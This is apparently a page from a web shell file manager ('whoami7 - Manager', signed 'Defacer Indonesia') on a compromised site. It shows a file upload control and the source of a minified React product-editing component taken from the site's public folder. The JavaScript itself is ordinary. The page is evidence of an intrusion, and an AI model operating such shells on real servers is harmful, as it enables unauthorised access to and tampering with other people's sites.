whoami7 - Manager
:
/
home
/
qbizpnmr
/
arif.umairtax.com
/
public
/
Upload File:
files >> /home/qbizpnmr/arif.umairtax.com/public/Product-BoK2fxfM.js
import{u as v,bS as S,ap as q,bt as g,Y as j,i,j as e,bT as B,bP as C,d$ as O,e0 as R,p as u,bO as V,Q as D,e1 as N,bV as $,bW as F,bE as H,bf as l,e as x,r as Q,$ as I}from"./bundle.OlIVtvc7.js";import{P as L}from"./PreviousNextNavigation-zAd8_mLU.js";function U(o){const[n]=v(),{product:t}=o,{id:r}=S(),{isAdmin:p,isOwner:s}=q(),m=g(),c=j(),d=c("view_product")||c("edit_product")||m(t);return[{name:n("edit"),href:i("/products/:id/edit",{id:r})},{name:n("documents"),href:i("/products/:id/documents",{id:r}),enabled:d,formatName:()=>{var a;return e.jsx(B,{numberOfDocuments:(a=t==null?void 0:t.documents)==null?void 0:a.length})}},{name:n("product_fields"),href:i("/products/:id/product_fields",{id:r}),enabled:p||s}]}function z(){const[o]=v(),n=C(),{id:t}=S(),r=j(),p=g(),{data:s}=O({id:t}),m=R(),[c,d]=u.useState(),[b,a]=u.useState(),[h,_]=u.useState(!1),A=[{name:o("products"),href:"/products"},{name:o("edit_product"),href:i("/products/:id",{id:t})}],T=U({product:s==null?void 0:s.data.data}),[f,E]=V(),w=async()=>{if(!h){a(void 0),_(!0),l.processing(),await n({excludeToasters:!0});const k=f.has("update_in_stock_quantity")?x("/api/v1/products/:id?update_in_stock_quantity=true",{id:t}):x("/api/v1/products/:id",{id:t});Q("PUT",k,c).then(()=>{l.success("updated_product"),I(["products"]),f.delete("update_in_stock_quantity"),E(f)}).catch(y=>{var P;((P=y.response)==null?void 0:P.status)===422&&(a(y.response.data),l.dismiss())}).finally(()=>_(!1))}};return u.useEffect(()=>{s&&d(s.data.data)},[s]),e.jsx(D,{title:o("edit_product"),breadcrumbs:A,...s&&(r("edit_product")||p(s.data.data))&&{navigationTopRight:e.jsx(H,{onSaveClick:w,resource:s.data.data,actions:m,cypressRef:"productActionDropdown",disableSaveButton:!s||h})},afterBreadcrumbs:e.jsx(L,{entity:"product"}),children:e.jsxs(N,{breadcrumbs:[],children:[e.jsx($,{tabs:T}),e.jsx(F,{context:{errors:b,setErrors:a,product:c,setProduct:d}})]})})}export{z as default};
Copyright ©2021 || Defacer Indonesia